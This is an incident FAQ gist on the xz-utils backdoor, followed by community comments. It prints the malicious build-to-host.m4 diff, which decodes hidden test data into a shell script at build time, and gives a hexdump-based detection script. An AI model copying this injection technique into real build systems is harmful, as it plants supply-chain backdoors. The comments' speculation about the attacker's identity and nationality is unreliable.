Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active December 22, 2024 23:00
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@fungilife
Copy link

thesamesam:

easter

For those pointing fingers to geography and ethnicity, need I remind them that this holiday is observed by western christian religions/geographies, catholics/protestants etc, not eastern (from Siberia to East Africa), nor hindus, budhists, jews, or muslims.
Orthodox related easter holidays are late April.

I have been a long term fan of xz and hate to bash it even more, but the possibility of the two contributors being one and the same appears to have escaped nearly everyone here.
Tarballs have been signed by this "entity" as versions pretty far back, further than some people seem to perceive as "safe" versions.

I apologize if some of you feel this observation is useless.

@marco-silva0000
Copy link

@fungilife It would be clear by now if their commit behaviours would match in anyway, github's ban doesn't help, but I don't think the schedules match up at all.

unless you have any data backed observations, I do think your observation is useless. I suggest you gather up some data on public holidays and match it up with both people, the analysis needs to be done first.

@AdrianBunk
Copy link

@fungilife

easter

Sam did not even say "due to easter", it might just have been "I will also be away next weekend".

For those pointing fingers to geography and ethnicity, need I remind them that this holiday is observed by western christian religions/geographies, catholics/protestants etc, not eastern (from Siberia to East Africa), nor hindus, budhists, jews, or muslims. Orthodox related easter holidays are late April.

You are pretty fast at presenting incorrect conclusions as facts.

South Korea is home to more than 13 million Christians (Catholics and Protestants).

Hong Kong and Taiwan are both in the timezone the attacker used, and each of them is home to one million Christians who observe Easter at the Western Christian date.

Even if you assume that the +0800 timezone is correct and that the attacker is a Christian observing the Western Easter date, that leaves 2 million people.

It is also possible that the attacker is located somewhere in Europe, the timezone might or might not be faked.

I have been a long term fan of xz and hate to bash it even more, but the possibility of the two contributors being one and the same appears to have escaped nearly everyone here.

This possibility is something everyone has in mind, but everything that is known so far is a strong indication that these are separate people and that Lasse is a victim.

As an example, the first step being in build-to-host.m4 which is a file that is not (and should not be) in git strongly looks like an attempt by "Jia Tan" to hide the change from Lasse.
Someone else noticing the manipulation in build-to-host.m4 that can be compared with the original file in gnulib is actually far more likely than hiding a manipulation in the autoconf macros Lasse wrote earlier, without another maintainer who could ask questions the exploit might have started there.

Tarballs have been signed by this "entity" as versions pretty far back, further than some people seem to perceive as "safe" versions.

I apologize if some of you feel this observation is useless.

You should perhaps apologize to Lasse for such public slander that is not backed up by anthing.

@WaaromZoMoeilijk
Copy link

Can someone help me understand what we ought to do with liblzma opposed to downgrading xz-utils itself? It seems my script will downgrade xz-utils just fine but liblzma stays on current distro version, would love some input on this as I'm quite sure we'd need to downgrade this one as well but I'm not really sure to which version.
https://github.com/WaaromZoMoeilijk/Security/blob/main/CVE-2024-3094.sh

The actual backdoor payload is in liblzma. When it's dynamically linked with /usr/sbin/sshd (through indirect dependency introduced by libsystemd, with some specific preconditions checked inside the payload) it will intercept some libcrypto functions (direct dependency of sshd).

Thank you, so its not even as straight forward as some articles have claimed to just downgrade just xz-utils.
Would you or anyone know if the snippit below would detect this in a reliable way and how to extract the proper hexdump signature?

LZMAPATH="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # find path to liblzma used by sshd

# check if liblzma is used by sshd by @Vegard Nossum
if [ "$LZMAPATH" == "" ]
then
	echo "Probably not vulnerable based on missing liblzma used by sshd"
fi

# check for malicous function signature by @Vegard Nossum
if hexdump -ve '1/1 "%.2x"' "$LZMAPATH" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
	echo "Probably vulnerable based on signature hexdump"
else
	echo "Probably not vulnerable based on signature hexdump"
fi

@thijskh
Copy link

thijskh commented Apr 1, 2024

@thesamesam Small correction: the gist mentions Hans Jensen (2x) but the actual (assumed) name is Hans Jansen

@pillowtrucker
Copy link

JIA CHEONG TAN
CIA JHEONG TAN
CIA JHON EGTAN
CIA JOHN AGENT
CIA AGENT JOHN
Case closed

@goyalyashpal
Copy link

JIA CHEONG TAN
CIA JHEONG TAN
CIA JHON EGTAN
CIA JOHN AGENT
CIA AGENT JOHN
Case closed

😲😱💯✨

@erinacio
Copy link

erinacio commented Apr 1, 2024

Can someone help me understand what we ought to do with liblzma opposed to downgrading xz-utils itself? It seems my script will downgrade xz-utils just fine but liblzma stays on current distro version, would love some input on this as I'm quite sure we'd need to downgrade this one as well but I'm not really sure to which version.
https://github.com/WaaromZoMoeilijk/Security/blob/main/CVE-2024-3094.sh

The actual backdoor payload is in liblzma. When it's dynamically linked with /usr/sbin/sshd (through indirect dependency introduced by libsystemd, with some specific preconditions checked inside the payload) it will intercept some libcrypto functions (direct dependency of sshd).

Thank you, so its not even as straight forward as some articles have claimed to just downgrade just xz-utils. Would you or anyone know if the snippit below would detect this in a reliable way and how to extract the proper hexdump signature?

LZMAPATH="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # find path to liblzma used by sshd

# check if liblzma is used by sshd by @Vegard Nossum
if [ "$LZMAPATH" == "" ]
then
	echo "Probably not vulnerable based on missing liblzma used by sshd"
fi

# check for malicous function signature by @Vegard Nossum
if hexdump -ve '1/1 "%.2x"' "$LZMAPATH" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
	echo "Probably vulnerable based on signature hexdump"
else
	echo "Probably not vulnerable based on signature hexdump"
fi

The script looks legitimate as long as the hexdump is correct, and it's possibly the most widely spread script that could already be used by many. However, I would suggest against relying on such script if you can't figure out how it works on your own.

If your xz/lzma comes from the distro repository, just follow the guide published by the distro you use. For example, if you're using Debian and the xz/liblzma is installed from the official repository (or any of its mirrors), you can follow the Debian Security Advisory. For RHEL and Fedora users, this post from Red Hat should help.

If your distro don't publish such security guides (could be as simple as a tweet/toot/whatever, but must be informative), I would personally suggest you move to a more responsible distro.

If you build packages on your own and can't figure out if you're affected or not, I would personally suggest you switch to distro-provided packages as distro maintainers are more proficient at figuring out what to do and provide necessary guides to anyone who needs.

@marco-silva0000
Copy link

marco-silva0000 commented Apr 1, 2024

I've seen this being shared as a POC, can anyone confirm? https://github.com/amlweems/xzbot

@fungilife
Copy link

... or one hell of an April fools joke brewing for many days now ... and many nights of rebuilding everything we have

@ostrosablin
Copy link

There's one question that's still bothering me, even after looking through various preliminary reverse engineering reports so far. Is there any understanding, where does backdoor spend ~0.5 seconds?

That's quite a lot of time for modern CPU. Even though backdoor uses sophisticated obfuscation, the logic reversed so far doesn't seem to involve any heavy number crunching. And considering that slowdown applies even when sshd is started with "-h", there isn't even cryptography involved.

@iustin
Copy link

iustin commented Apr 1, 2024

There's one question that's still bothering me, even after looking through various preliminary reverse engineering reports so far. Is there any understanding, where does backdoor spend ~0.5 seconds?

That's quite a lot of time for modern CPU. Even though backdoor uses sophisticated obfuscation, the logic reversed so far doesn't seem to involve any heavy number crunching. And considering that slowdown applies even when sshd is started with "-h", there isn't even cryptography involved.

I've been only passively watching this thread since it has a lot of non-technical craziness in it, but indeed this is a point that bothered me as well. 500ms is really, really a lot, especially for compiled code.

I find it somewhat strange that someone/some group that clearly has a lot of know-how based on how real-looking the commits that introduce the backdoor are, but not being able to make this half-invisible for anyone that is not debugging this knowing already what to look for. Almost as if the person in charge for launching the back door had different knowledge/standards than the person introducing it.

Well, will be a good read once the dust settles.

@Cicada2024
Copy link

There's one question that's still bothering me, even after looking through various preliminary reverse engineering reports so far. Is there any understanding, where does backdoor spend ~0.5 seconds?
That's quite a lot of time for modern CPU. Even though backdoor uses sophisticated obfuscation, the logic reversed so far doesn't seem to involve any heavy number crunching. And considering that slowdown applies even when sshd is started with "-h", there isn't even cryptography involved.

I've been only passively watching this thread since it has a lot of non-technical craziness in it, but indeed this is a point that bothered me as well. 500ms is really, really a lot, especially for compiled code.

I find it somewhat strange that someone/some group that clearly has a lot of know-how based on how real-looking the commits that introduce the backdoor are, but not being able to make this half-invisible for anyone that is not debugging this knowing already what to look for. Almost as if the person in charge for launching the back door had different knowledge/standards than the person introducing it.

Well, will be a good read once the dust settles.

Same reason as people who know they should make some information half invisible to anyone debugging their backdoor at times still choose to converse about it in public forums because they think no one will understand the convo without insider information. Everyone has lapses and get sloppy at times, Jia Tan is just a person like we all.

@ve2tmq
Copy link

ve2tmq commented Apr 1, 2024

JIA CHEONG TAN CIA JHEONG TAN CIA JHON EGTAN CIA JOHN AGENT CIA AGENT JOHN Case closed

pub (4)rsa4096/22d465f2b4c173803b20c6de59fcf207fea7f445 2022-12-28T15:23:29Z

uid Jia Tan jiat0218@gmail.com
sig sig 59fcf207fea7f445 2022-12-28T15:23:29Z 2027-12-27T15:23:29Z ____________________ [selfsig]
sig sig 38ee757d69184620 2024-01-12T19:12:25Z ____________________ ____________________ 38ee757d69184620

sub (4)rsa4096/63fcf405bbe267a235a3537e63cce556c94dda4f 2022-12-28T15:23:29Z
sig sbind 59fcf207fea7f445 2022-12-28T15:23:29Z ____________________ 2027-12-27T15:23:29Z []

@gh-markt
Copy link

gh-markt commented Apr 1, 2024

y'know, even downgrading xz-utils to an earlier version isn't viable if you were grabbing the source from github and compiling it oneself. The only downgrade path that exists is if you still have a compiled older version hanging around. Not everyone is tied to particular "distributions".

@donington
Copy link

This is a great resource and references most of the stuff I've found researching this myself so far. Great stuff.

I found a repo earlier by user @amlweems that has a very interesting write-up and project where he is prodding the payload called xzbot, where he has done some reverse engineering on it. Seems to heavily imply that this was supposed to be RCE when receiving a specific ED448 key payload.

There's one question that's still bothering me, even after looking through various preliminary reverse engineering reports so far. Is there any understanding, where does backdoor spend ~0.5 seconds?

This is just speculation on my part, but maybe waiting and scanning for detection of the key was part of why it caused such a delay in the sshd login process.

@imelon123
Copy link

imelon123 commented Apr 1, 2024

thesamesam:

easter

For those pointing fingers to geography and ethnicity, need I remind them that this holiday is observed by western christian religions/geographies, catholics/protestants etc, not eastern (from Siberia to East Africa), nor hindus, budhists, jews, or muslims. Orthodox related easter holidays are late April.

I have been a long term fan of xz and hate to bash it even more, but the possibility of the two contributors being one and the same appears to have escaped nearly everyone here. Tarballs have been signed by this "entity" as versions pretty far back, further than some people seem to perceive as "safe" versions.

I apologize if some of you feel this observation is useless.

Your observation is not useless.

I have found some commit logs indicating Jia Tan from the +300 timezone as well, and @redcode had been testing it. However, we were asked by Mr @AdrianBunk and @cwegener to "shut up" and "stop posting here", regardless of the result of the test by @redcode (Mr @AdrianBunk was not interested in the test result at all - this is a red flag).

I went through all the comments from Mr @AdrianBunk and @cwegener. Interestingly enough, most of their comments were about China or timezone +800. Apparently, some people are not interested in the logs and what really happened.

At this stage, it is probably too early to speculate, but it is also not prudent to say anyone as innocent. I just would like to point out the following:

  • In real-life cases, an attacker will always try to hide their real trace. However, very often, they accidentally leak their real trace somewhere.

  • Let's consider it from an attacker's perspective. They would need expertise in developing xz, gain the trust of the owner to obtain maintainer access, and submit backdoors without being detected by other maintainers. What would be their success rate? Very low I believe. However, with the theory you mentioned, two maintainers being one person, the success rate becomes 100%.

@ve2tmq
Copy link

ve2tmq commented Apr 1, 2024

Who is Jia Tan?

I pass all my day as read thread about this "attack", because it's not a vulnerability, it's an "attack" against OpenSources community.

Modify code to inject payload from unittest "corrupted file", it's needs big knowledge. Target XZ when we know it's most usefull algorithme for compression and used directly in Linux kernel, this is not random.

Does it just one guy who worked near 3 years on this projet? I don't know...

Today, OpenSources, Linux, glibc, XZ are present on more than 80% of servers and IoT. We are in period of a lot of politicals threats. Russia vs Ukraine, Gaza vs Palestin, North Korea... is it spons from goverment? I don't know. It's just a probability.

This is a proof of solidarity of community.

Keep in mind, now source code could be target of threat in unstable world. 😢

@duracell
Copy link

duracell commented Apr 1, 2024

@x1done

I have found some commit logs indicating Jia Tan from the +300 timezone as well, and @redcode had been testing it. However, we were asked by Mr AdrianBunk and cwegener to "shut up" and "stop posting here", regardless of the result of the test by redcode (Mr AdrianBunk was not interested in the test result at all - this is a red flag).

Because you are not interested in the explanation and just posting the same thing over and over which is just wrong.

I went through all the comments from Mr @AdrianBunk and @cwegener. Interestingly enough, most of their comments were about China or timezone +800. Apparently, some people are not interested in the logs and what really happened.

Interestingly your account is brand new, and you're posting here the same stuff over and over again, besides it's obvious that the reason for this timezone is a patch, rebase, or other git operation. It's fine to post this finding once, but discuss it over and over without any need is just spam.
That's the reason why multiple people posted that you should stop spamming about and a lot more thinking the same.
If you want to discuss this, open a chat, repo, gist whatever for this specific topic, but PLEASE do not spam here without any useful information or proof.

@morpheby
Copy link

morpheby commented Apr 1, 2024

@x1done
FYI there is already a pretty good writeup about times, timezones, and nationalities: https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and

Unlike you, the author does not go into baseless accusations and slandering.

This FAQ is one of the best and up to date repository of known truths about xz attack. Stop making it into a speculations and conspiracy theories chatroom. Go somewhere else, please.

@christoofar
Copy link

y'know, even downgrading xz-utils to an earlier version isn't viable if you were grabbing the source from github and compiling it oneself. The only downgrade path that exists is if you still have a compiled older version hanging around. Not everyone is tied to particular "distributions".

The dreaded build_to_host.m4 is not on the origin repo because Jia nuked it in a .gitignore to be sneaky. Debian has it because it got it from upstream, they have their own git, and it's over there and they used it to bake the tarball and the package---which was the intended goal all along.

The tons of people direct-binding xz by baking liblzma.so never got the steps to extract out the .o payload so gcc could link it.

@imelon123
Copy link

@morpheby thank you for the link, that's an interesting analysis. i won't post anything more here (i am not a developer), since there is already the good writeup on the timezone analysis.

@n1x3n
Copy link

n1x3n commented Apr 1, 2024

There's one question that's still bothering me, even after looking through various preliminary reverse engineering reports so far. Is there any understanding, where does backdoor spend ~0.5 seconds?
That's quite a lot of time for modern CPU. Even though backdoor uses sophisticated obfuscation, the logic reversed so far doesn't seem to involve any heavy number crunching. And considering that slowdown applies even when sshd is started with "-h", there isn't even cryptography involved.

I've been only passively watching this thread since it has a lot of non-technical craziness in it, but indeed this is a point that bothered me as well. 500ms is really, really a lot, especially for compiled code.
I find it somewhat strange that someone/some group that clearly has a lot of know-how based on how real-looking the commits that introduce the backdoor are, but not being able to make this half-invisible for anyone that is not debugging this knowing already what to look for. Almost as if the person in charge for launching the back door had different knowledge/standards than the person introducing it.
Well, will be a good read once the dust settles.

Same reason as people who know they should make some information half invisible to anyone debugging their backdoor at times still choose to converse about it in public forums because they think no one will understand the convo without insider information. Everyone has lapses and get sloppy at times, Jia Tan is just a person like we all.

^== Is exactly this conversing about it in public forums? ;) (Sorry, just somehow got cicada-vibes because of your ~5hrs old account. :))

Anyways, as I understand from Andres Freunds message on oss-security, parsing the symbol tables in memory was the quite slow step in the malware code which made him initially look into that. Maybe that's where the ~0.5s are spent.

@christoofar
Copy link

christoofar commented Apr 1, 2024

A word bout Jia's commits to the base lib itself:

I have spent a good deal of my working career keeping high-level code going with C/C++ deplibs (and whole programs that take on a job step) that, once they've proven their mettle in production, nobody cares to touch. Sometimes re-writes are needed in the C source, but typically they are done with a good motivating reason.

Jia pumped out a shitstorm of commits and introduced two advertised features: RISCV support and multithread decomp. A shitton of his commits however are around moving to a modern buildstream from a project that followed the old pattern of C projects: the nasty autoconf, an even nastier Makefile, a patternless approach to tests, etc---and moving all that around in a big CMake refactor, tons of commits to change static-but-commented numbers and defines over to enums, .po ing the code everywhere, and whole moveouts and relocations of functionality (what Lasse put into file_io.c for sandbox, moving over to sandbox.c), etc.

It's just a lot of activity to be doing for what arguably are just not big features... and wouldn't you want to get the features out, at least the simple RISCV one that's mostly a copypasta job (which is what he did, look at the increment-assign statements where the arithmetic is written out without any comment, which is what Lasse did elsewhere earlier in the history) and then pull them back into a mega-cleanup-branch anyway?

I would think if you cared so much about readability of the top-line constants that you would give a shit about the meat-and-potatoes part of the code where there's whole stretches of uncommented bitmath.

I feel Lasse should just wipe out and rebase back to pre-Jia because so much trust is shaken by the autotools shenanigans that Jia's refactoring work should be thrown in the trash. I don't think he poisoned up the baselib, it's just part of the social engineering mainly to fool Lasse. If anything, a legit volunteer who wants to contribute now has a ready-done refactoring that can be examined line by line, day by day, and re-decided if it was worth it or Jia was just generating commit noise.

I guess for FOSS crews one lesson is this: Someone wants to onboard because feature X is not there? Great. Welcome to the team. Go henceforth and finish it in your own branch. Oh, you decided that the code is too ugly/puts out a storm of warnings and you prefer quiet compiles? Great! Another branch for you. Let's keep stable going and backport the commits to the cleanup branch! Wait... why do you need to screw around in the autotool scripts? Can we isolate that need to the specific feature commits involved so the commits that put on the feature also have the script changes, because ac scripts are a nightmare and delicate?

Sole-maintainer handing off to an anon-sole-maintainer? Well, what choice do the users have other than marking the last stable commit good and everything else sus until some trusted people come to do a drive-by vouch? All the people linking direct to the build thought they were being helpful busy beavers keeping their dependencies from going stale and risking compat problems didn't know what Jia was up to.

And I'm not even going to get into what I think of systemd architecture (oh good, you're going to dynload now. golf clap) because that's a whole international Come To Jesus™ meeting that needs to happen and I need to take my arthritis medication. (Spare me with the tone-policing surrounding libsystemd, it was "this is good for you take the medicine" adoption, it fixes so much operations architecture just do it, etc etc. Now here we are kvetching about systemd architecture.)

@mikebveil
Copy link

mikebveil commented Apr 2, 2024

I've seen this being shared as a POC, can anyone confirm? https://github.com/amlweems/xzbot

Looks legit to me, but note that the backdoor can only be exploited by the owner of the attacker's Ed448 private key. xzbot patches libxzma with a different key, so that people can experiment with triggering the exploit in a sandboxed environment. That's all.

@gonoph
Copy link

gonoph commented Apr 2, 2024

One thing I would like folks to deeply consider is the social engineering that went on, either maliciously or inadvertently.

The May 2022 message from Dennis Ens added some soft pressure to Lasse to implement some changes. Then, ~3 weeks later, Jigar Kumar adds several replies that are aggressive and borderline abusive to Lasse.

We again see this type of pressure 2 years later, when krygorin4545 pressures debian package maintainers to adopt a NMU version bump of xz-utils.

Instead of having a policy debate over who is proper to do this upload, can this just be fixed? The named maintainer hasn't done an upload in 5 years.

Fedora considered this a serious bug and fixed it weeks ago

Evan Boehs' summary (you have linked above) has some interesting timelines about this interaction.

